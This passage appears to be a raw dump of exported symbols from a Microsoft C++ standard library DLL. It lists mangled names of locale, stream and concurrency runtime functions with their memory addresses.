'??_F?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb4f4b0'}, {'type': 'function', 'name': '??_F?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb4f4c0'}, {'type': 'function', 'name': '??_F?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb4f4d0'}, {'type': 'function', 'name': '??_F?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb4f4e0'}, {'type': 'function', 'name': '??_F?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEAAXXZ', 'address': '0x7ffb3bb4f4f0'}, {'type': 'function', 'name': '??_F_Locinfo@std@@QEAAXXZ', 'address': '0x7ffb3bb26610'}, {'type': 'function', 'name': '??_F_Timevec@std@@QEAAXXZ', 'address': '0x7ffb3bb26630'}, {'type': 'function', 'name': '??_Fcodecvt_base@std@@QEAAXXZ', 'address': '0x7ffb3bb26640'}, {'type': 'function', 'name': '??_Fctype_base@std@@QEAAXXZ', 'address': '0x7ffb3bb26660'}, {'type': 'function', 'name': '??_Ffacet@locale@std@@QEAAXXZ', 'address': '0x7ffb3bb26680'}, {'type': 'function', 'name': '??_Fid@locale@std@@QEAAXXZ', 'address': '0x7ffb3bb26630'}, {'type': 'function', 'name': '??_Ftime_base@std@@QEAAXXZ', 'address': '0x7ffb3bb266a0'}, {'type': 'function', 'name': '?CaptureCallstack@platform@details@Concurrency@@YA_KPEAPEAX_K1@Z', 'address': '0x7ffb3bb436a0'}, {'type': 'function', 'name': '?GetCurrentThreadId@platform@details@Concurrency@@YAJXZ', 'address': '0x7ffb3bb0fbd0'}, {'type': 'function', 'name': '?GetNextAsyncId@platform@details@Concurrency@@YAIXZ', 'address': '0x7ffb3bb10aa0'}, {'type': 'function', 'name': '?ReportUnhandledError@_ExceptionHolder@details@Concurrency@@AEAAXXZ', 'address': '0x7ffb3bb43700'}, {'type': 'function', 'name': '?_Addcats@_Locinfo@std@@QEAAAEAV12@HPEBD@Z', 'address': '0x7ffb3bb26790'}, {'type': 'function', 'name': '?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z', 'address': '0x7ffb3bb0f9f0'}, {'type': 'function', 'name': '?_Addstd@ios_base@std@@SAXPEAV12@@Z', 'address': '0x7ffb3bb298c0'}, {'type': 'function', 'name': '?_Assign@_ContextCallback@details@Concurrency@@AEAAXPEAX@Z', 'address': '0x7ffb3bb10690'}, {'type': 'function', 'name': '?_Atexit@@YAXP6AXXZ@Z', 'address': '0x7ffb3bb06280'}, {'type': 'function', 'name': '?_BADOFF@std@@3_JB', 'address': '0x7ffb3bb62420'}, {'type': 'function', 'name': '?_C_str@?$_Yarn@D@std@@QEBAPEBDXZ', 'address': '0x7ffb3bb267c0'}, {'type': 'function', 'name': '?_C_str@?$_Yarn@G@std@@QEBAPEBGXZ', 'address': '0x7ffb3bb267c0'}, {'type': 'function', 'name': '?_C_str@?$_Yarn@_W@std@@QEBAPEB_WXZ', 'address': '0x7ffb3bb267c0'}, {'type': 'function', 'name': '?_CallInContext@_ContextCallback@details@Concurrency@@QEBAXV?$function@$$A6AXXZ@std@@_N@Z', 'address': '0x7ffb3bb10540'}, {'type': 'function', 'name': '?_Callfns@ios_base@std@@AEAAXW4event@12@@Z', 'address': '0x7ffb3bb022f0'}, {'type': 'function', 'name': '?_Capture@_ContextCallback@details@Concurrency@@AEAAXXZ', 'address': '0x7ffb3bb108a0'}, {'type': 'function', 'name': '?_Clocptr@_Locimp@locale@std@@0PEAV123@EA', 'address': '0x7ffb3bb93160'}, {'type': 'function', 'name': '?_Decref@facet@locale@std@@UEAAPEAV_Facet_base@3@XZ', 'address': '0x7ffb3bb0f7a0'}, {'type': 'function', 'name': '?_Donarrow@?$ctype@G@std@@IEBADGD@Z', 'address': '0x7ffb3bb267e0'}, {'type': 'function', 'name': '?_Donarrow@?$ctype@_W@std@@IEBAD_WD@Z', 'address': '0x7ffb3bb267e0'}, {'type': 'function', 'name': '?_Dowiden@?$ctype@G@std@@IEBAGD@Z', 'address': '0x7ffb3bb26840'}, {'type': 'function', 'name': '?_Dowiden@?$ctype@_W@std@@IEBA_WD@Z', 'address': '0x7ffb3bb141e0'}, {'type': 'function', 'name': '?_Empty@?$_Yarn@D@std@@QEBA_NXZ', 'address': '0x7ffb3bb26890'}, {'type': 'function', 'name': '?_Empty@?$_Yarn@G@std@@QEBA_NXZ', 'address': '0x7ffb3bb26890'}, {'type': 'function', 'name': '?_Empty@?$_Yarn@_W@std@@QEBA_NXZ', 'address': '0x7ffb3bb26890'}, {'type': 'function', 'name': '?_Execute_once@std@@YAHAEAUonce_flag@1@P6AHPEAX1PEAPEAX@Z1@Z', 'address': '0x7ffb3bb104d0'}, {'type': 'function', 'name': '?_Ffmt@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAPEADPEADDH@Z', 'address': '0x7ffb3bb04460'}, {'type': 'function', 'name': '?_Ffmt@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAPEADPEADDH@Z', 'address': '0x7ffb3bb2ef70'}, {'type': 'function', 'name': '?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAPEADPEADDH@Z', 'address': '0x7ffb3bb2ef70'}, {'type': 'function', 'name': '?_Findarr@ios_base@std@@AEAAAEAU_Iosarray@12@H@Z', 'address': '0x7ffb3bb268a0'}, {'type': 'function', 'name': '?_Fiopen@std@@YAPEAU_iobuf@@PEBDHH@Z', 'address': '0x7ffb3bb29600'}, {'type': 'function', 'name': '?_Fiopen@std@@YAPEAU_iobuf@@PEBGHH@Z', 'address': '0x7ffb3bb10270'}, {'type': 'function', 'name': '?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z', 'address': '0x7ffb3bb10270'}, {'type': 'function', 'name': '?_Fput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEBD_K@Z', 'address': '0x7ffb3bb05770'}, {'type': 'function', 'name': '?_Fput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GPEBD_K@Z', 'address': '0x7ffb3bb2f050'}, {'type': 'function', 'name': '?_Fput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WPEBD_K@Z', 'address': '0x7ffb3bb2f430'}, {'type': 'function', 'name': '?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb14260'}, {'type': 'function', 'name': '?_Getcat@?$codecvt@GDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb11550'}, {'type': 'function', 'name': '?_Getcat@?$codecvt@_SDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb26920'}, {'type': 'function', 'name': '?_Getcat@?$codecvt@_UDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb269e0'}, {'type': 'function', 'name': '?_Getcat@?$codecvt@_WDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb26aa0'}, {'type': 'function', 'name': '?_Getcat@?$ctype@D@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb064a0'}, {'type': 'function', 'name': '?_Getcat@?$ctype@G@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb06790'}, {'type': 'function', 'name': '?_Getcat@?$ctype@_W@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb06550'}, {'type': 'function', 'name': '?_Getcat@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb03210'}, {'type': 'function', 'name': '?_Getcat@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb11620'}, {'type': 'function', 'name': '?_Getcat@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb14b80'}, {'type': 'function', 'name': '?_Getcat@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb03620'}, {'type': 'function', 'name': '?_Getcat@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb0f400'}, {'type': 'function', 'name': '?_Getcat@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb13040'}, {'type': 'function', 'name': '?_Getcat@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb3e240'}, {'type': 'function', 'name': '?_Getcat@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb13220'}, {'type': 'function', 'name': '?_Getcat@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb302d0'}, {'type': 'function', 'name': '?_Getcat@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb3e330'}, {'type': 'function', 'name': '?_Getcat@?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb14320'}, {'type': 'function', 'name': '?_Getcat@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z', 'address': '0x7ffb3bb303c0'}, {'type': 'function', 'name': '?_Getcat@facet@locale@std@@SA_KPEAPEBV123@PEBV23@@Z', 'address': '0x7ffb3bb26b90'}, {'type': 'function', 'name': '?_Getcoll@_Locinfo@std@@QEBA?AU_Collvec@@XZ', 'address': '0x7ffb3bb10930'}, {'type': 'function', 'name': '?_Getctype@_Locinfo@std@@QEBA?AU_Ctypevec@@XZ', 'address': '0x7ffb3bb0ee10'}, {'type': 'function', 'name': '?_Getcvt@_Locinfo@std@@QEBA?AU_Cvtvec@@XZ', 'address': '0x7ffb3bb0ee40'}, {'type': 'function', 'name': '?_Getdateorder@_Locinfo@std@@QEBAHXZ', 'address': '0x7ffb3bb26ba0'}, {'type': 'function', 'name': '?_Getdays@_Locinfo@std@@QEBAPEBDXZ', 'address': '0x7ffb3bb13450'}, {'type': 'function', 'name': '?_Getfalse@_Locinfo@std@@QEBAPEBDXZ', 'address': '0x7ffb3bb26bb0'}, {'type': 'function', 'name': '?_Getffld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1AEAVios_base@2@PEAH@Z', 'address': '0x7ffb3bb01b80'}, {'type': 'function', 'name': '?_Getffld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1AEAVios_base@2@PEAH@Z', 'address': '0x7ffb3bb30480'}, {'type': 'function', 'name': '?_Getffld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1AEAVios_base@2@PEAH@Z', 'address': '0x7ffb3bb312a0'}, {'type': 'function', 'name': '?_Getffldx@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1AEAVios_base@2@PEAH@Z', 'address': '0x7ffb3bb29f90'}, {'type': 'function', 'name': '?_Getffldx@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1AEAVios_base@2@PEAH@Z', 'address': '0x7ffb3bb31dd0'}, {'type': 'function', 'name': '?_Getffldx@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1AEAVios_base@2@PEAH@Z', 'address': '0x7ffb3bb32c90'}, {'type': 'function', 'name': '?_Getfmt@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@PEBD@Z', 'address': '0x7ffb3bb3e3f0'}, {'type': 'function', 'name': '?_Getfmt@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@PEBD@Z', 'address': '0x7ffb3bb337a0'}, {'type': 'function', 'name': '?_Getfmt@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@PEBD@Z', 'address': '0x7ffb3bb33a90'}, {'type': 'function', 'name': '?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ', 'address': '0x7ffb3bb2bd90'}, {'type': 'function', 'name': '?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HAEBVlocale@2@@Z', 'address': '0x7ffb3bb05080'}, {'type': 'function', 'name': '?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HAEBVlocale@2@@Z', 'address': '0x7ffb3bb12900'}, {'type': 'function', 'name': '?_Getifld@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAHPEADAEAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@1HAEBVlocale@2@@Z', 'address': '0x7ffb3bb14570'}, {'type': 'function', 'name': '?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAHAEAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAEAHAEBV?$ctype@D@2@@Z', 'address': '0x7ffb3bb3e650'}, {'type': 'function', 'name': '?_Getint@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAHAEAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@0HHAEAHAEBV?$ctype@G@2@@Z', 'address': '0x7ffb3bb11fa0'}, {'type': 'function', 'name': '?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAHAEAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAEAHAEBV?$ctype@_W@2@@Z', 'address': '0x7ffb3bb33d10'}, {'type': 'function', 'name': '?_Getlconv@_Locinfo@std@@QEBAPEBUlconv@@XZ', 'address': '0x7ffb3bb26bc0'}, {'type': 'function', 'name': '?_Getmonths@_Locinfo@std@@QEBAPEBDXZ', 'address': '0x7ffb3bb133f0'}, {'type': 'function', 'name': '?_Getname@_Locinfo@std@@QEBAPEBDXZ', 'address': '0x7ffb3bb26bd0'}, {'type': 'function', 'name': '?_Getptr@_Timevec@std@@QEBAPEAXXZ', 'address': '0x7ffb3bb26bf0'}, {'type': 'function', 'name': '?_Gettnames@_Locinfo@std@@QEBA?AV_Timevec@2@XZ', 'address': '0x7ffb3bb26c00'}, {'type': 'function', 'name': '?_Gettrue@_Locinfo@std@@QEBAPEBDXZ', 'address': '0x7ffb3bb26c30'}, {'type': 'function', 'name': '?_Gnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEBA_JXZ', 'address': '0x7ffb3bb04e90'}, {'type': 'function', 'name': '?_Gnavail@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEBA_JXZ', 'address': '0x7ffb3bb04e90'}, {'type': 'function', 'name': '?_Gnavail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEBA_JXZ', 'address': '0x7ffb3bb04e90'}, {'type': 'function', 'name': '?_Gndec@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAPEADXZ', 'address': '0x7ffb3bb44730'}, {'type': 'function', 'name': '?_Gndec@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAPEAGXZ', 'address': '0x7ffb3bb43960'}, {'type': 'function', 'name': '?_Gndec@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAPEA_WXZ', 'address': '0x7ffb3bb43960'}, {'type': 'function', 'name': '?_Gninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAPEADXZ', 'address': '0x7ffb3bb04df0'}, {'type': 'function', 'name': '?_Gninc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAPEAGXZ', 'address': '0x7ffb3bb36090'}, {'type': 'function', 'name': '?_Gninc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAPEA_WXZ', 'address': '0x7ffb3bb36090'}, {'type': 'function', 'name': '?_Gnpreinc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAPEADXZ', 'address': '0x7ffb3bb4f500'}, {'type': 'function', 'name': '?_Gnpreinc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAPEAGXZ', 'address': '0x7ffb3bb4f520'}, {'type': 'function', 'name': '?_Gnpreinc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAPEA_WXZ', 'address': '0x7ffb3bb4f520'}, {'type': 'function', 'name': '?_Id_cnt@id@locale@std@@0HA', 'address': '0x7ffb3bb93158'}, {'type': 'function', 'name': '?_Ifmt@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBAPEADPEADPEBDH@Z', 'address': '0x7ffb3bb03c70'}, {'type': 'function', 'name': '?_Ifmt@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBAPEADPEADPEBDH@Z', 'address': '0x7ffb3bb05f60'}, {'type': 'function', 'name': '?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBAPEADPEADPEBDH@Z', 'address': '0x7ffb3bb10e10'}, {'type': 'function', 'name': '?_Incref@facet@locale@std@@UEAAXXZ', 'address': '0x7ffb3bb0faf0'}, {'type': 'function', 'name': '?_Index@ios_base@std@@0HA', 'address': '0x7ffb3bb94520'}, {'type': 'function', 'name': '?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXPEAPEAD0PEAH001@Z', 'address': '0x7ffb3bb10bc0'}, {'type': 'function', 'name': '?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ', 'address': '0x7ffb3bb07990'}, {'type': 'function', 'name': '?_Init@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAXPEAPEAG0PEAH001@Z', 'address': '0x7ffb3bb10bc0'}, {'type': 'function', 'name': '?_Init@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEAAXXZ', 'address': '0x7ffb3bb07990'}, {'type': 'function', 'name': '?_Init@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAXPEAPEA_W0PEAH001@Z', 'address': '0x7ffb3bb10bc0'}, {'type': 'function', 'name': '?_Init@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEAAXXZ', 'address': '0x7ffb3bb07990'}, {'type': 'function', 'name': '?_Init@?$codecvt@DDU_Mbstatet@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$codecvt@GDU_Mbstatet@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb11500'}, {'type': 'function', 'name': '?_Init@?$codecvt@_SDU_Mbstatet@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$codecvt@_UDU_Mbstatet@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$codecvt@_WDU_Mbstatet@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb11500'}, {'type': 'function', 'name': '?_Init@?$ctype@D@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb0f020'}, {'type': 'function', 'name': '?_Init@?$ctype@G@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb0ef70'}, {'type': 'function', 'name': '?_Init@?$ctype@_W@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb0ef70'}, {'type': 'function', 'name': '?_Init@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Init@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb3f940'}, {'type': 'function', 'name': '?_Init@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb13310'}, {'type': 'function', 'name': '?_Init@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb36340'}, {'type': 'function', 'name': '?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb3fa00'}, {'type': 'function', 'name': '?_Init@?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb143f0'}, {'type': 'function', 'name': '?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IEAAXAEBV_Locinfo@2@@Z', 'address': '0x7ffb3bb143f0'}, {'type': 'function', 'name': '?_Init@ios_base@std@@IEAAXXZ', 'address': '0x7ffb3bb08180'}, {'type': 'function', 'name': '?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z', 'address': '0x7ffb3bb063e0'}, {'type': 'function', 'name': '?_Init_cnt@Init@ios_base@std@@0HA', 'address': '0x7ffb3bb92a24'}, {'type': 'function', 'name': '?_Init_cnt@_UShinit@std@@0HA', 'address': '0x7ffb3bb92a20'}, {'type': 'function', 'name': '?_Init_cnt@_Winit@std@@0HA', 'address': '0x7ffb3bb92a14'}, {'type': 'function', 'name': '?_Init_cnt_func@Init@ios_base@std@@CAAEAHXZ', 'address': '0x7ffb3bb45330'}, {'type': 'function', 'name': '?_Init_ctor@Init@ios_base@std@@CAXPEAV123@@Z', 'address': '0x7ffb3bb45340'}, {'type': 'function', 'name': '?_Init_dtor@Init@ios_base@std@@CAXPEAV123@@Z', 'address': '0x7ffb3bb45360'}, {'type': 'function', 'name': '?_Init_locks_ctor@_Init_locks@std@@CAXPEAV12@@Z', 'address': '0x7ffb3bb41cb0'}, {'type': 'function', 'name': '?_Init_locks_dtor@_Init_locks@std@@CAXPEAV12@@Z', 'address': '0x7ffb3bb41d00'}, {'type': 'function', 'name': '?_Ios_base_dtor@ios_base@std@@CAXPEAV12@@Z', 'address': '0x7ffb3bb07100'}, {'type': 'function', 'name': '?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA_N_N@Z', 'address': '0x7ffb3bb04bb0'}, {'type': 'function', 'name': '?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAA_N_N@Z', 'address': '0x7ffb3bb04c90'}, {'type': 'function', 'name': '?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAA_N_N@Z', 'address': '0x7ffb3bb04f70'}, {'type': 'function', 'name': '?_Iput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AEAVios_base@2@DPEAD_K@Z', 'address': '0x7ffb3bb04850'}, {'type': 'function', 'name': '?_Iput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AEAVios_base@2@GPEAD_K@Z', 'address': '0x7ffb3bb07270'}, {'type': 'function', 'name': '?_Iput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@AEBA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AEAVios_base@2@_WPEAD_K@Z', 'address': '0x7ffb3bb10e90'}, {'type': 'function', 'name': '?_IsCurrentOriginSTA@_ContextCallback@details@Concurrency@@CA_NXZ', 'address': '0x7ffb3bb108d0'}, {'type': 'function', 'name': '?_IsNonBlockingThread@_Task_impl_base@details@Concurrency@@SA_NXZ', 'address': '0x7ffb3bb10860'}, {'type': 'function', 'name': '?_Locimp_Addfac@_Locimp@locale@std@@CAXPEAV123@PEAVfacet@23@_K@Z', 'address': '0x7ffb3bb2aa40'}, {'type': 'function', 'name': '?_Locimp_ctor@_Locimp@locale@std@@CAXPEAV123@AEBV123@@Z', 'address': '0x7ffb3bb08a40'}, {'type': 'function', 'name': '?_Locimp_dtor@_Locimp@locale@std@@CAXPEAV123@@Z', 'address': '0x7ffb3bb2bda0'}, {'type': 'function', 'name': '?_Locinfo_Addcats@_Locinfo@std@@SAAEAV12@PEAV12@HPEBD@Z', 'address': '0x7ffb3bb135c0'}, {'type': 'function', 'name': '?_Locinfo_ctor@_Locinfo@std@@SAXPEAV12@HPEBD@Z', 'address': '0x7ffb3bb13560'}, {'type': 'function', 'name': '?_Locinfo_ctor@_Locinfo@std@@SAXPEAV12@PEBD@Z', 'address': '0x7ffb3bb2be30'}, {'type': 'function', 'name': '?_Locinfo_dtor@_Locinfo@std@@SAXPEAV12@@Z', 'address': '0x7ffb3bb084f0'}, {'type': 'function', 'name': '?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Lock@?$basic_streambuf@GU?$char_traits@G@std@@@std@@UEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Lock@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@UEAAXXZ', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?_Lockit_ctor@_Lockit@std@@CAXPEAV12@@Z', 'address': '0x7ffb3bb41d50'}, {'type': 'function', 'name': '?_Lockit_ctor@_Lockit@std@@CAXPEAV12@H@Z', 'address': '0x7ffb3bb41d70'}, {'type': 'function', 'name': '?_Lockit_ctor@_Lockit@std@@SAXH@Z', 'address': '0x7ffb3bb41da0'}, {'type': 'function', 'name': 